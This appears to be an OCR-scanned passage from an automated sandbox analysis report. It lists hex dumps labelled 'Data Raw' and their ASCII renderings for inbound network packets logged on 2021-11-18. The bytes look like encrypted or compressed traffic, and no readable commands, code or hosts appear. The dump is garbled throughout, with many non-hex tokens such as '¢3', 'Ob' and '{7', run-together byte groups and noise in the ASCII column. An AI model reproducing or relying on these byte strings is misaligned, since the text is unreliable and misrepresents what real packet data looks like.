55 a6 4a 91 35 ¢3 ba 25 5d 5b ee a9 66 8e 5b fa cb 3a c0 90 40 cd Ob 07 ed 8c a5 c9 73 3e 0b 08 98 02 71 29 01 f8 4b 2e
97 73 7¢ 78 49 b0 ad 1c 10 4f da cc 8e fa bd a6 49 9f aa 29 dc 8e 00 47 fd f3 1e 29 dc 4f ab bc 12 4f ae 12 b6 13 da ba 9¢c
cf 5c 94 98 ee 74 51 18 a6 13 96 b8 cf 27 6a 82 cb
Data Ascii: ;R76uoM:Qdi?Bh”r"O}iowjUSPNwr*PO+ kokA$}G28w<"1Y VS5 wf5"PUJ5%][fl: @s>q)K.s|xIO)G)OO\Q

2021-11-18 09:30:32 UTC 409 IN Data Raw: b6 ¢3 67 b1 70 f0 a0 a7 48 26 27 de 2a 77 db db f7 e3 Ob 74 82 58 8c {7 05 3d 4f a9 e3 f6 a6 69 38 97 df 60 c9
5c 3167 eec7 e23b2a557274 1ae0 2d ff 65 3a 67 ¢7 da 59 60 5¢ 4f 57 32 51 99 c8 98 fc 03 27 61 87 db f8 69 be 27
62 f8 6¢ 6b ec ff c2 10 75 a5 13 51 11 91 ce ac 27 6b c0 75 ef Oc 6¢ f9 d2 f6 83 73 1f 6¢ 80 87 69 b2 80 3d 35 74 c6 5a 58
70 a8 57 Oc 34 46 de 6d 35 ca 0a 58 58 91 ec 4c b8 64 3d db 2b 4d 50 ba c8 35 76 c6 4b f8 c6 c¢7 43 c3 cf 4b a5 d7 2¢ 92
20 9a c8 8f 4a a7 b0 ef 2b e4 91 4b 48 a8 9a 34 ec 28 cb 76 fb 3d d3 3d d6 c9 c6 43 2a 3a f4 ea a9 1d 82 47 94 7a a0 3a
Oae0 16 ae c7 7e 74 43 4a 43 ee 75 34 86 6e 44 9b 81 d4 78 39 c2 59 c6 a0 d3 d7 75 8e e6 f9 d2 90 86 6f 7b 27 54 49 13
79 fc 7f 36 3e d6 50 91 58 b9 d4 4d d3 95 b8 f1 cb
Data Ascii: gpH&*wtX=0i8"\1g;*Urt-e:gY \OW2Q'ai'blkuQ'kulsli=5tZXpW4F m5XXLd=+MP5VKCK, J+KH4(v==C*:G
z:~tCICu4nDx9Yuo{'Tly6>PXM

2021-11-18 09:30:32 UTC 410 IN Data Raw: 5¢ 6b 97 25 2a 3a €3 1e 50 04 d8 b0 34 6¢ 98 25 a5 07 ec 49 c7 5¢ d2 53 1f 98 4b 42 9b a0 9c 32 2a 1c 67 25
4aec d0 5e ¢3 87 d2 33 76 cd 8d ca 94 46 63 2b 6b ¢8 6f 58 bb 00 39 ac 3e 57 ff 00 94 87 6a 34 e5 a5 d0 3b db e0 ce ab
€278 66 47 4f 6b 74 26 75 c8 b4 c1 ca ca e9 2d 81 d5 58 8b 76 7f 49 86 37 d4 84 75 d8 d1 a5 53 df e6 a5 ac 36 50 38 72
35 5a 2f 16 39 d5 5a bf 23 ac bd 4a b4 4d 90 ff 18 c6 3e c6 a3 4b ac 24 77 a2 d5 3d 9e 02 c5 53 dc 41 Ob be 07 e7 f2 3¢
7298 1a 6f 03 5e ac c2 ca e8 f0 45 81 28 15 bd 1b 41 12 Oe ba c3 e5 32 58 24 04 b0 0f da f1 31 b5 07 89 b0 f8 30 ea 35
09 03 f8 b9 77 b8 81 2a eb 3e 48 7b f1 b5 7d bd a2 2e 4a 55 4f 93 3b 95 26 ad 51 37 ec fc d5 82 65 3f d1 ce 34 80 6b 5¢
5d 3e d5 bf 4a 86 df 70 ef 30 43 d1 5¢c b7 57 40 10 3a c2
Data Ascii: \k%*:P41%I\SKB2*g%J"3vFc+koX9>Wj4;xfGOkt&u-XvI7uS6P8r5Z/9Z#IM>K$w=SA<ro"E(A2X$105wW*>H{}.
JUO;&Q7e?4k\]>Jp0C\W@:
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 412 IN Data Raw: f6 5¢ cd a9 46 25 44 69 cd d4 6b 88 b8 c5 c3 6d 46 53 e7 4b 4a 83 b6 8e 4f 29 37 48 ad cb 5a dd 92 63 7e 2a
d4 do cf Ob 20 fe a6 2 97 fd 76 2e cc ed 98 79 b2 c4 49 f2 39 45 12 b4 80 ab 63 90 91 9c 35 81 50 b8 b5 71 87 3e d6 a5
04 69 4a 50 31 db b4 65 3b 47 al c4 Oc 22 77 8c 9d d9 5b e0 fO ca d4 a6 c4 Oa f7 d7 c6 b0 ce 71 55 96 00 74 4b f1 96 1d
25 3c f4 b6 Ob Ob 34 ca 65 23 cf 8e 39 7d Oc 2c 5b 11 55 7b 59 57 a2 74 94 c7 46 7f 95 62 71 3d 3b b0 3b 41 31 8 e4 bc
07 c1 346848 9d 4279 7d 39 0d fc 5 11 2f cc 79 98 16 f4 d4 8d 83 6a 46 23 ae 24 14 fe b5 cc bb 3e 77 8b f7 1b 2b 11
87 bb 0f f6 c4 fa de 7d ab 55 40 35 ab 44 9c ec 85 57 a4 9¢c 09 d8 34 7c e5 b5 e2 20 61 3b 37 4b 20 d8 46 7d 91 16 98 f4
c7 23 80 34 4e ae 41 27 91 ed 46 ba Oe 9a 66 14 ad a5 ff
Data Ascii: \F%DikmFSKJO)7HZc~* v.yI9EC5Pq>iJP1e;G"w[qUtK%<4e#9},[U{YWtFbqg=;;A14hHBY}9/yjF#$>w+}U@5DW4|
a;7K FH#4ANA'Ff

2021-11-18 09:30:32 UTC 413 IN Data Raw: d9 e0 d5 fb 62 cd 4e b1 23 5b bf 68 70 c2 81 35 26 ¢7 7f 7d d7 dc 36 c4 17 78 34 64 00 3f f4 3b 23 €3 76 €9 dO
36 37 19 Ob 97 d8 70 e9 25 23 07 f0 4f 90 el e0 41 0f ca 1b 3e 40 05 c1 60 36 b2 df d3 4f ad ef ee 7d b4 4c 98 00 a7 c0 5f
7f 42 c2 2f51 7e c0 98 5d al 99 80 4c 4e a6 48 7a b8 95 38 6f 2c ad 10 8b 7c ¢3 82 49 7d 5d b3 3e 77 c3 5e 4d 41 6a 7a
39 43 c7 b3 Oe bf 06 1b d8 6¢c 9a 41 24 Oa 95 55 45 47 aa 50 5¢ Od ee be 5a ba e7 55 2c 7b al 2a 00 15 ca b6 6b fc 5d b2
69 77 89 b1 5e 82 c4 Ob 2c 19 b0 4d 45 4d ab 2d 27 ef 65 ac ba 2e 7e 9c 7a 50 7e b5 70 2a c3 cd fc 81 d5 22 f1 79 e4 35
01 4f 23 Oc 38 8e 81 2b 59 8a c4 3b 4b 21 87 ba ac 76 fb c3 e6 6e 85 95 cb 6¢ c6 4e 28 b6 fb a0 c4 30 6e 42 3e 77 20 67
59 69 33 10 3d fb Oe 7d a7 1a 51 df Ob Oa 7b 86 7a
Data Ascii: bN#[hp5&}6x4d?;#v67p%#OA>@ 60}L_B/Q~]LNHz80,|}]>W*MAjz9CIASUEGP\ZU {*k]iw*,MEM-'e.~zP~p
*y50#8+Y;KIvnIN(OnB>w gYi3=}Q{z

2021-11-18 09:30:32 UTC 414 IN Data Raw: b5 0d 1d 51 73 50 6d 21 d5 c8 43 62 3c 4e 63 2d 3d 5f 98 08 f3 df 26 da 80 53 df a6 73 af 6f 33 f5 db 85 ef 60
€9 4c 50 6b dO df 4f ce cc 5d 4b c1 12 7f 93 af 14 47 d2 52 31 f2 49 87 0b 32 f8 91 29 25 a8 84 5b 9c 6e d0 53 68 ee 86
ed d1 94 3f 32 50 11 4e 28 2f b2 98 {7 ce 13 c7 1f 91 f9 2e e7 5a 5f 6f dc 25 ed 5a 05 c7 92 be 24 7d dO 55 a0 47 29 66 a4
5a a9 2b 18 5d a2 e8 5d 39 50 f0 06 34 3d 74 8d 9c f1 85 af ¢5 ¢7 al 32 a9 5d c3 76 b9 bc 84 0f 3f 66 85 2e 86 d3 7f 41 8f
a6 19 49 6a 38 2e ab eb 54 94 6f 27 d0 b5 58 9f ea 01 c6 6b a4 25 1b 0f a9 54 01 64 6a 32 cc 40 c6 b3 d0 07 75 e7 c5 bb
12 b7 34 4d bb a7 cc 71 5f 57 e4 9a bf 13 ff 44 e3 71 Oe 3b 9b b0 54 63 ea af 04 d1 97 3f d2 40 b2 b0 c8 80 ca 86 Ob 5¢ 91
94 c0 c7 4c Oc 70 96 68 67 90 08 4a a0 a3 bd
Data Ascii: QsPm!Cb<Nc-=_&Ss03'LPkO]KGR112)%[nSh?2PN(/.Z_o%Z$}UG)fZ+]]9P4=t2]v?f.Alj8.To'Xk%Tdj2@u4M
g_WDq;Tc?@\LphgJ

2021-11-18 09:30:32 UTC 416 IN Data Raw: 7a 77 45 5d ed 82 5d 25 d8 5f d3 30 02 31 cf 78 5a b4 b1 cb 3b a5 aa d3 c5 f0 29 e5 cc a9 b0 00 49 f0 fe 16 4e
be ad e7 d0 ed 60 ce 50 28 49 5b 08 52 c2 64 56 88 0f 94 fd b4 33 b9 38 25 ba a5 8a bc 38 97 64 87 98 8e 1a 4b dc c7 2c
64 99 74 20 4a 97 bc ¢5 71 dc 75 65 48 5f 1f 3a 66 93 94 00 48 a0 a9 89 76 56 5c 00 dc ec 24 Oe 7c 3f a0 ce b9 c3 ec 64
2c ce Oc ¢6 53 c0 87 38 29 96 e3 €9 4f 6b 9e 10 86 c0 57 e4 €9 1c 10 06 7f 95 65 24 a8 4f 40 cc 6a cO 7c 07 be 30 dO 9e
cac7c9 a6 05c7f597 74 06 8¢ ¢9 53 50 48 73 €5 76 9e 58 47 f4 3d ef Of d6 97 3b ad fa 11 ed 66 58 9a a8 6b da 98 7f a5
55 1f6¢ 66 cd 9b e6 c1 1a b0 5¢c Oa 28 1b 54 6a 3b fe 88 09 a7 aa aa f3 ea a8 92 71 24 1e 42 ad 0d 5d ff 88 7a 15 c8 e7
70 44 4a 46 5b 15 83 b5 dd 66 74 b4 e0 5a b0 8c 1d
Data Ascii: zwE]]%_01xZ;)IN'P(I[RdV38%8dK,dt JqueH_:fHvV\$|?d,S8)OkWe$O @j|0tSPHsVXG=;fXKUIf\(Tj;q$B]zpDJF[ftZ

2021-11-18 09:30:32 UTC 417 IN Data Raw: 28 92 15 e4 5f ad el d2 ff e8 95 9a 37 6b b8 0a d3 33 bf 11 33 c1 be 98 b0 be bc cd b3 57 ee 5a ad 9d 1c f4 90
06 5¢ 72 10 bb 13 b0 3b 6b a7 0a 2f 97 ac 40 d5 20 d1 6a 9e 1c 82 f1 Ob a8 c2 10 2f 9d 86 12 d9 be 58 25 72 55 40 f7 39
26 c0 2c Oa a2 a6 34 ef d1 ce e4 09 13 9f 7e a2 85 35 22 25 94 c0 92 64 24 ce 7a 6e d3 32 64 af 30 46 b4 99 e6 b5 05 22
d4 cf f9 52 a3 a6 de bc 6a 31 83 12 ab 30 b7 61 30 31 48 32 25 1e 67 f1 3e d9 f2 4b ¢7 74 9e 93 6e b7 7a ec 12 93 7a 38
38 bb 54 2d 8 34 54 2d fe 24 4e c2 66 2d c9 3e 15 55 68 35 da 6a bd 3e a5 d9 f2 3b 69 09 c8 4b e7 35 8e 98 2e a8 9d ea
da 37 42 33 5¢ 2e df 24 f0 65 9e dd 4a 1f f2 cO da 09 19 6f 60 ce 45 6f el 37 8b d1 e6 b5 ac 16 d4 43 a0 6a 46 e3 4e 56
c5 16 44 5e 14 44 f4 cb bc d2 48 40 6e 1a 4f Oe c6 15
Data Ascii: (_7k33WZ\r;k/@ j/X%rU@9&,4~5"%d$zn2d0F"Rj10a01H2%g>Ktnzz88T-4T-$Nf->Uh5j>;iK5.7B3\.$eJo"
Eo7CjFNVD"DH@nO

2021-11-18 09:30:32 UTC 418 IN Data Raw: 57 b2 1b e7 ca 4d a2 c4 19 6¢ 37 65 a4 6d 31 40 5b ec af 2¢ 75 el eb 8d 9e al 44 16 da 9c 27 71 eb 5 37 47
385805 cf cl f1 1e 69 ed fc 4e 71 c0 94 96 2d dO f8 96 72 c6 ac 55 a3 54 53 a7 6e a2 34 41 cc 98 2f 72 9d ce 56 23 13
cd c8 d8 e7 46 6b 6f 48 15 1f fc 09 2e fe af 1f 85 4b 26 05 12 fc b4 ba c1 42 d9 d3 c4 73 a5 54 ad 53 91 f2 14 8¢ 8f 77 a0
6d 9c 5b bf df dd 97 05 Oc b6 d1 23 fO ad a0 20 42 fO d9 e9 65 c4 f9 89 76 f4 d8 46 a5 9b Oe 9f 2e c5 62 d6 e3 28 1b 93 5a
38 5a 4e ac 10 df 48 d1 82 2c d4 db e2 b3 52 57 89 9d e6 f7 16 dd 26 8c a2 6e 30 7d 25 b3 7a d1 d4 12 78 87 54 05 ff 76
b7 9e e2 2a 28 61 79 ca 19 81 b9 e4 a9 4b 6e a0 b3 de ee 69 bb b9 7c 44 8e 2f 8b e9 a0 73 31 4a 5e e3 6d 1f de e2 11
04 b0 09 cf 18 be a6 fe fe 48 bb 61 7d 81 6b 66 b3 30
Data Ascii: WMI7em1@[,uD'q7G8XiNg-rUTSn4A/rV#FkoH.K&BsTSwml# BevF.b(Z8ZNH,RW&n0}%zxTv*(ayKni|D/s1J*m
Ha}kfo

2021-11-18 09:30:32 UTC 420 IN Data Raw: 67 cd 6¢ 52 c6 bf 4c 3c 68 5e 35 d8 6¢ 2b 5b 5c 0 55 39 3 de 3¢ 3d €0 43 4b 65 fa 19 77 6a b0 89 f3 b6 96 6e
b3 79 48 8d 38 da Oe 8a 34 76 f1 50 35 42 f5 19 cf b5 38 fb €0 5b da {7 19 ae 07 f4 dO 1c f2 fd 5c 1a 95 18 17 13 61 2b 69
42 69 81 e3 0f 7c 76 6b 42 67 ac 79 2c ae d4 8e eb aa eb 46 57 c3 a8 fa 5d b1 40 35 12 30 71 21 77 35 53 4a 05 6b f0 87
b1 96 ba d8 f8 24 67 26 4d d0 84 58 a8 08 8e 28 79 67 65 d8 0d 1b 95 f3 d0 9a 04 b2 b8 02 75 b0 21 aa 04 db 74 4d 45
a4 5b 49 2d 92 b8 73 5f 48 6e d6 20 19 fa 5b 07 1d 32 e8 89 6a 19 d6 60 fa 29 18 74 5b 1a dO 5a 7f 5f bl 06 ef 9b ce 28
ce 2c fff1 23 ¢2 c0 7f 45 6b ee 71 c2 09 ce 2b 6f de 68 0 4c 78 35 7 80 9f c0 58 7f 65 ee bd fb cf 7b b ed 71 d2 57 53 3f
¢81c 39 7¢ 1d 57 31 b3 86 b0 11 f2 21 54 61 44
Data Ascii: gIRL<h"5|+[\U9<=CKewjnyH84vP5B8[\a+iJivkBgy,FW]@500!w5SIKSg&MX(ygeultME[l-s_Hn [2)t[Z
_(#Ekg+ohLx5Xe{qWS?9|W1ITaD

2021-11-18 09:30:32 UTC 421 IN Data Raw: 5e ce f2 f2 4a e7 87 5f 59 f5 ce 7b 50 da 63 5e d9 44 71 1d 28 cf f1 57 20 7f c7 7e 84 57 44 51 7c 08 c6 c6 2b
e7 db 70 2b 28 57 70 2a 12 da 3e 35 6f 86 4a d5 6a bb de ed 95 f8 dc 03 86 de 55 36 9a ee 63 e9 b2 58 64 9f 49 26 6b fO
9 c6 6a f5 4b ab 69 52 91 ab 68 54 b4 e5 38 4d 07 fd a6 8c 3d c2 5c¢ 4f 3d dd 53 32 ad 09 66 b0 72 ab 30 7d 96 9e 6¢c a7
29 82 29 b1 90 55 3c 07 9f 53 fa 46 35 01 03 bb €6 39 de 62 ae Oc 29 97 ce cl 46 7a 25 26 df 0a 38 c0 57 53 32 57 34 5f
b7 90 6d 4f a9 54 d0 45 d9 20 2d 5a 78 fd fa 1d e4 84 33 3d 83 9a 3a 7a 06 0f 08 cb 1d bd c4 6f de 80 3b 4a 8a db 04 7b
5b 39 e4 11 43 96 ac 20 Oc 93 27 al 85 ce 27 d2 3e 36 8f 7b 06 9d 57 c7 c1 ca 6b 9f d9 84 88 b3 5a 47 2e 3a 65 20 ef dO
20 8c 1c 7f 87 1a 96 43 81 82 ec 21 9d bc 23 d5 69 Of
Data Ascii: J_Y{Pc"Dq(W ~WDQ|+p+(Wp*>50JjU6cXdI&KKIRhT8M=\O=S2fr0}l)) U<SF59b)Fz%&8WS2W4_mOTE -Zx3=
:20;J{[9C ">6{WkZG..e Cli

2021-11-18 09:30:32 UTC 422 IN Data Raw: 41 e6 b9 ee Oe 69 31 f7 72 0b 36 77 14 2e 73 7e de a0 3e 8d bb 1f 17 8b 84 d0 9c c7 3c 9b ea 5e 60 5d 22 93
30 ec 91 25 3a d3 1c Oe 8b 82 a0 cd 33 3fdd 4d d7 ef 4d 48 4b 82 b7 fb ca c6 5b €9 67 2d e0 54 c9 a4 3e 1d 94 81 fa 98
0f 7b 31 9d 8d 4e 88 3e aa c3 6d 1f 48 db 3c 38 5a 88 4c 64 d8 aa 3a 25 71 c7 96 86 b9 68 1d 70 40 bb 3d al 82 27 3a 3f
fe 94 de e0 4d 6e 72 {7 c1 f9 43 4f b8 5f ac 47 81 3c 3f 7 3a 14 60 e2 89 3b 8e {8 {7 ae de f1 35 c0 1a 79 71 e9 ee b8 9f 2f
c9 c0 58 ae 88 a7 5f 7d ee 5f a8 8 f2 4e 5b ¢4 5b c1 b6 dO 79 1d bb be 1f 15 41 ce f0 1b ¢2 82 Oc c3 cd c0 a9 f8 61 be a3
f8 59 8d 8e 12 ad 00 7a f0 cf 5d 50 1f f3 ed 67 53 a6 8b 9d ee 75 al 73 4b b2 04 56 fd 5e 10 36 72 ca 9e 33 d2 f5 8a c2 €9
46 76 bl 76 4f b7 be 11 8e e3 58 7a 9b df ae
Data Ascii: Ailréw.s~><""1"0%:3?MMHK[g-T>{1N>mH<8ZLd:%ghp@="?MnrCO_G<?:";5yq/X_}_N[[yAaYz]PgSusKV" 6
r3FvwOXz
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 424 IN Data Raw: c8 2e cd 43 7d 30 09 ef 5e 4e a5 07 e3 2e fc 07 96 20 2c 50 13 6f 3c 98 f3 b7 93 f2 d0 59 7e c4 f1 df 58 92 31
38 94 7f cb 4e 6f 85 69 3f 91 67 0a 59 42 3f 18 5f c0 e7 d3 fb 45 31 36 b7 8f ff 5b 23 ef 98 66 ef 2e 4a 26 1c 7a 3b 42 c7
09 62 1d 7e dd 76 44 b8 9a fa 80 9b 57 60 d5 32 eb e2 c2 ae 54 77 ec d8 2c e7 eb 9e 26 27 99 3e 79 56 2c 34 el fa 5e 68
4b d4 e2 4d b7 ff 9b bd 3f 7e 68 87 41 eb 57 1d d8 50 f4 f7 bd 50 1b 32 54 7f d9 bf d5 32 6b 38 cc ec df 5d 9a 2a c1 38 ec
54 26 5d a3 da 81 ac 40 50 d3 be 3c 58 ce 68 78 ch 6e 6f f5 32 2c ec e7 01 d4 34 4f 1a 2b f6 97 ce 6e b5 5e 49 73 73 e6
72 0a e7 40 20 fd 64 e4 f1 9 1d 38 50 a6 87 46 33 bb 3 47 a8 e2 3¢ 89 63 c7 07 b8 62 52 32 41 4e 33 8f b8 72 31 4e 41
55 db d1 a7 ¢3 33 c0 df 6a 93 31 25 a2 9a c3 af
Data Ascii: .C}0"N. ,Po<Y~X18Noi?gYB?_E16[#f.J&z;Bb~vDW 2Tw,&>yV,4"hKM?~hAWPP2T2k8]*8T&]@P<Xhxno2,4
O+n"ssr@ d8PF3G<chR2AN3r1NAU3j1%

2021-11-18 09:30:32 UTC 425 IN Data Raw: 5a 82 93 11 50 e6 a7 e0 23 21 a9 f3 66 38 6 5f 4e 8a ca 01 f6 1e ba 68 86 ef b7 62 88 5e 7c 52 97 9b e2 fd Oe
98 €6 92 al 11 6f ab 56 63 16 64 c8 83 c6 a2 c3 5b 84 6a 4b 07 99 c2 56 38 31 c1 6¢ f2 8b fb 4c af 96 c3 60 74 16 4a 5e 2
b8 da 2c 3d a9 ec 48 48 a9 15 b9 a2 40 c7 0f 93 be 39 81 c0 11 f9 59 74 d3 ea 5d 74 47 8d 24 ca cl c4 df 31 53 d4 94 21
5b b9 97 01 2d fd 1d a3 ed 69 2c 5f 9 b9 04 15 8¢ c8 3f 00 17 d9 60 3e 3e 60 50 18 71 c6 2e b9 39 69 12 4c 5a 36 b0 58
64 dc e7 4b 1a 54 de 00 fb 23 8e 75 17 c7 6d 5f 98 e7 68 cb ad ca ec 96 7e 31 3f df 85 d3 58 55 dd 4c 71 5¢c €9 31 3f ad
77 e0 ab f8 67 de 60 0d cO 9a a8 f8 71 c8 cc 81 dc db 28 6e 4e 2f b3 cb ea ef {0 e3 7b 19 8e 34 81 73 a4 79 3b d7 ac 13
58 €2 b0 80 66 el 37 ec 44 94 13 78 35 c2 b6 0a 32
Data Ascii: ZP#!f8_Nhb”|RoVcd[jKV81IL tJN,=HH@9YttG$1S![-i,_?">>"Pq.9iLZ6XdKT#um_h~1?XULqg\1?wg q(nN
H4sy;Xf7Dx52

2021-11-18 09:30:32 UTC 426 IN Data Raw: 60 3d 5f f3 86 dc 52 15 34 56 43 63 e6 5a 21 01 2e b1 d6 13 2d 6f 47 17 3b b9 e6 16 25 27 Ob €0 b2 db 58 ac
ef 1b 5d 9c f6 92 4d 94 32 12 50 el 1e e7 Oa 55 9b 8d b9 e7 d7 e4 Oc d6 c9 26 d6 5f 22 ba dO bc 34 41 50 10 01 a4 19 e7
25 a5 d4 28 fd 7f fa 9a 89 3e 4e 11 00 bf 1d 89 1b 9f 21 ff fe 9e 3f 07 a7 20 ea ce 3a a6 d6 49 b7 d1 74 e7 0d 5a 2e 49 60
58 fb b4 f0 e4 ec bb a6 41 33 5a 17 ac 9a 29 65 a6 e0 06 33 17 6f af a0 6f a6 9a 90 52 71 23 bc 2e 4a 76 80 52 67 51 4c
5d bd fO d8 69 5f 2d 0f 59 27 4e 36 df d5 60 ad 04 ce 91 24 25 da 6e d5 bb 2d 87 17 3b a2 b3 4e 3b 68 01 25 65 ee 1a ff
4c 83 76 ce 41 d1 16 ac b2 a5 Oe 5e 22 d6 4e 30 04 fe 60 2e 7d fb ff 8b 47 9b 77 4e 1f c8 46 08 6b da 69 46 ec d6 4e d6
66 de 3b 5f 5f 3d 12 23 75 €7 60 8d 04 05 ea f1 aa 71
Data Ascii: '=_R4VCcZ!.-0G;%'X]M2PU&_"4AP%(>N!? :ItZ.I' XA3Z)e300Rq#.JVRgQLJi_-Y'N6'$%n-;N;h%eLvAr'NO
" JGWNFKIFNf;,__=#u'q

2021-11-18 09:30:32 UTC 427 IN Data Raw: Of a7 90 Oe a4 d7 e6 d8 62 ea 87 74 61 9e 6b 91 8f 17 31 f8 b3 da b0 5b 7d b3 75 45 93 2f 6e 49 Of b6 29 cc 91
70 3398 3b aa 22 91 67 2e 4d 66 0d 36 fa 87 af 87 7a 4e cf 40 36 46 6b 6e 05 4b e3 53 4c 44 6b 76 05 73 50 ef 36 69 5d
9a 6d 7c a6 d6 c2 1c 4e fa b4 a3 b6 1c 3d 5b 5b el 98 bb 6a d3 49 66 40 07 2f 94 64 28 60 1f 31 ff Oa de 85 f9 42 58 13
ba bf db 97 c0 40 b8 67 19 24 88 c0 fb 04 d6 64 b7 ca 57 92 bf 8d 7c b3 a3 f0 41 b8 c2 e4 1b c7 cb 33 cd 48 42 66 6¢ 08
ab 60 9a le f2 64 24 d1 7e 24 ef 2c 2e 56 ba 59 e6 eb 5c 89 37 fa 83 81 5f 78 7¢ 37 e0 cd 0d ff c4 cO df 5a 60 30 3d a4 c1
7b cd a9 6¢ 98 8e c0 2e f5 9f 84 44 65 81 90 70 78 d9 59 e4 50 7b ec 78 a3 00 19 68 7c Oa 37 ef 53 5e 09 ea 38 cf 7¢c 5f
25 ce 64 a4 54 4f 20 4a 7b 74 09 5¢ 43 87 b2 91 35
Data Ascii: btak1[JuE/nl)p3;"g.Mf6zN@6FknKSLDkvsP6ilm|N=[[jIf@/d( 1BX@g$dW|A3HBflI d$~$,.VY\7_x|7Z°0=
{1.DepxYP{xh|7S"8|_%dTO J{t\C5

2021-11-18 09:30:32 UTC 429 IN Data Raw: c3 0d 82 4e 1b d1 3b ee e6 3a 5c e6 6¢ 3e c3 94 d6 4f c4 6f 42 38 35 df 6¢ ca 23 aa c8 30 47 b0 58 3e a7 eb
22 de 82 48 76 0d f0 8 cc fd 79 d1 97 50 49 42 {8 8a 41 43 af 6¢ 7d 14 bb a7 6e ae 05 1b cc 7c a6 5c¢ 83 c1 fe ce dd 33 de
fa d5 86 bb 73 f6 b9 d7 3d 71 fd ff 30 37 09 bd 4e 48 54 fa 0f 3d c¢6 57 d7 02 d1 5f 73 1d bb 61 fb 05 ea 8b 1c ea aa 40 5e
9e Oa a5 4f ef Oc a7 c2 83 1d ff Oc 15 ed fO 9f e4 61 84 a5 58 ad ab c3 26 d0 ea 4e f2 52 a2 ac 5d 43 66 6e 53 8e cd 77 a2
77 22 07 da 9b 22 de 83 5a 84 96 f1 57 56 df 08 41 4 2f 22 4f 6f f3 98 67 25 b5 98 33 3d f4 c2 16 15 bb aa 5c f2 3c 42 43
9a d3 98 b6 1d 48 5f f6 59 59 98 cc 69 3a 27 ef c1 6e af bb d6 87 32 33 fa ca 80 ec dc b3 0d 50 70 52 d6 6d 7e 4e f2 49 94
ea 8f bc 2a 91 db 4b e6 0f 5f 7c 6e 66 34
Data Ascii: N;:\I>00B85#0GX>"HvyPIBACI}n|\3s=q07NHT=W_sa@”"OaX&NR]CfnSww"'ZWVA/*00g%3=\<BCH_YYi:'n23
PpRmM~NI*K_|nf4

2021-11-18 09:30:32 UTC 430 IN Data Raw: 42 e5 7a ce 8b 2a a3 5b bc 70 32 90 67 ¢3 a9 0d 8b 00 8a c9 cf 5e 7e fd 61 79 65 6a fa 68 93 76 4c 4c 51 b2
32 5d 3f dd 48 40 5d 2a 37 2a 48 26 26 d9 26 6d a2 7a 3d b6 3f 25 4c 2e f1 47 03 d9 50 ff f4 db 28 4a fe 2a 6a 6b a7 2a
53 8d bc c2 2a 77 36 Oc ae €8 24 3 51 14 Oe 29 b8 13 33 73 41 36 6a 79 9b fa c0 2d 72 e 52 el 3e bf 30 2d Ob 1d 19 23
0b 7f €5 28 6¢ 34 7b 56 2¢ cf 96 a2 b3 34 37 03 81 4b 1a 2f 7e 41 34 18 53 4a 3d 25 €6 27 a7 94 0d 11 31 21 ea 17 34 99
96 €3 42 a7 49 59 f0 df 68 24 62 c3 87 48 3b €9 ff 4f ff 29 71 12 e6 8 8d 7f 7f cf 8¢ 39 38 28 47 12 69 ce 5c 31 fd f1 d1 54
55 ¢8 34 be 27 Oe 87 cc 9d e7 b2 b0 35 90 a4 bb 6b 5a 33 f5 38 da 57 28 2d fc b8 54 fb 81 8¢ 55 4d 43 Oc 50 45 56 14 5d
a8 2d 93 57 79 2f 61 3d ac f6 6f 97 31 d4 6f 3e 41
Data Ascii: Bz*{[p2g”~ayejhvLLQ2]?H@]*7*H&&&MZz=2%L .GP (J*k*S*W6$Q)3sA6jy-IR>0-#(14{V,47K/~A4SI=%114B
IYh$bH;0)q98(Gi\1 TU4'5kZ38W(-TUMCPEV]-Wy/a=010>A

2021-11-18 09:30:32 UTC 431 IN Data Raw: e8 3b 24 5a 1f 46 b4 b1 1c 6d 85 75 c1 3f 50 27 d0 47 f8 31 8a af 01 54 41 1d a9 2e bb 3c bf 3b 41 42 38 c8 40
0Ob bf d8 f2 ed 6a 34 89 ¢7 12 bc f2 55 ¢8 4c 7b 60 e2 2¢ 71 a2 bl 40 79 35 a3 f0 8c 52 0f 30 38 {7 db 6¢ 33 75 db 59 00 3f
8e 34 fd b9 a5 3a c9 fa d3 3c dd 71 24 e7 27 5¢ 70 b4 be 9e Oe 27 ee 5f d6 3a ff 25 ¢3 48 d2 5b d0 7e c5 a5 cb 75 7¢ 55
24 2c f7 a2 e9 38 65 7f a8 5b 43 b2 21 4f 3a cf 20 38 48 43 ¢3 6d 11 a9 58 Oe c8 99 57 88 42 6b 2b 56 5f 6b el 96 1b df {7
54 27 38 02 68 fb 60 b7 60 40 59 el 3a 3a ae f4 73 b8 37 86 af 47 52 a5 36 78 85 ea 3a db 07 89 5e b4 6a 8c 34 81 bd el
9e 59 0c 53 a2 84 11 07 a6 2f 26 20 40 f3 c5 58 aa 54 a7 6a 44 ff 87 c7 62 4d 70 ac b4 26 50 2c 98 4f 77 5f 44 3b a5 8a 3¢
89 e7 b8 33 77 Of f1 cc 02 c6 de 40 b9 07 eb
Data Ascii: ;$ZFmu?P'G1TA.<;AB8@j4UL{ ,q@y5R08I3uY?4:<q$'\p'_:%H[~u|U$,8e[C!O: 8BHCmXWBk+V_KT'8h™ @Y:
:STGR6X:4j4YS/8& @XTjDbMp&P,0w_D;<3w@

2021-11-18 09:30:32 UTC 433 IN Data Raw: fe 5e Of 3f 62 5f 40 61 be c1 43 31 64 f9 6e 30 63 90 1b 9d 6d 2f 8b 32 7f 84 58 e5 46 6d b8 b6 bf b4 3b 42 50
el a55b 03 76 el 99 25 ad e3 05 20 4c 82 fc 78 73 54 4a b2 2e 7d 1a 83 80 {7 4f 43 8f 7d 7b ab 01 65 33 46 al 65 Of 84
8e ba 85 98 6e dc 12 33 e8 55 55 68 8b 5d 2d 3e b6 0d 34 05 53 94 fd 46 2e 99 32 7f af 88 30 66 90 97 56 a2 92 06 18 5d
be 85 fO 9d 6f 94 1a 46 21 92 fb 07 d2 13 c0 bb 2f 17 fa 60 0f 4e 6¢ 3 ba 23 c¢1 b0 94 8 78 db 91 e0 ac 98 70 d7 7a ef 2e
f2 74 17 6d 6b 8d bb 14 b0 Oc 77 f1 40 17 d1 Ob 4c d9 8a 2e da 43 18 06 1c 32 fe 60 48 70 ec ee 34 35 48 2e 24 3e 47 d9
6 Ob 6f f9 34 8e 73 2e 05 fa af Oa bf e2 4c 32 50 2b af 38 c¢8 02 27 94 48 36 48 b4 68 f9 77 €8 32 09 2b e5 f9 5b 8d ae 79
40 9b 3a 80 c7 91 33 8f 69 6¢ 96 ab 5e 99 el 1b
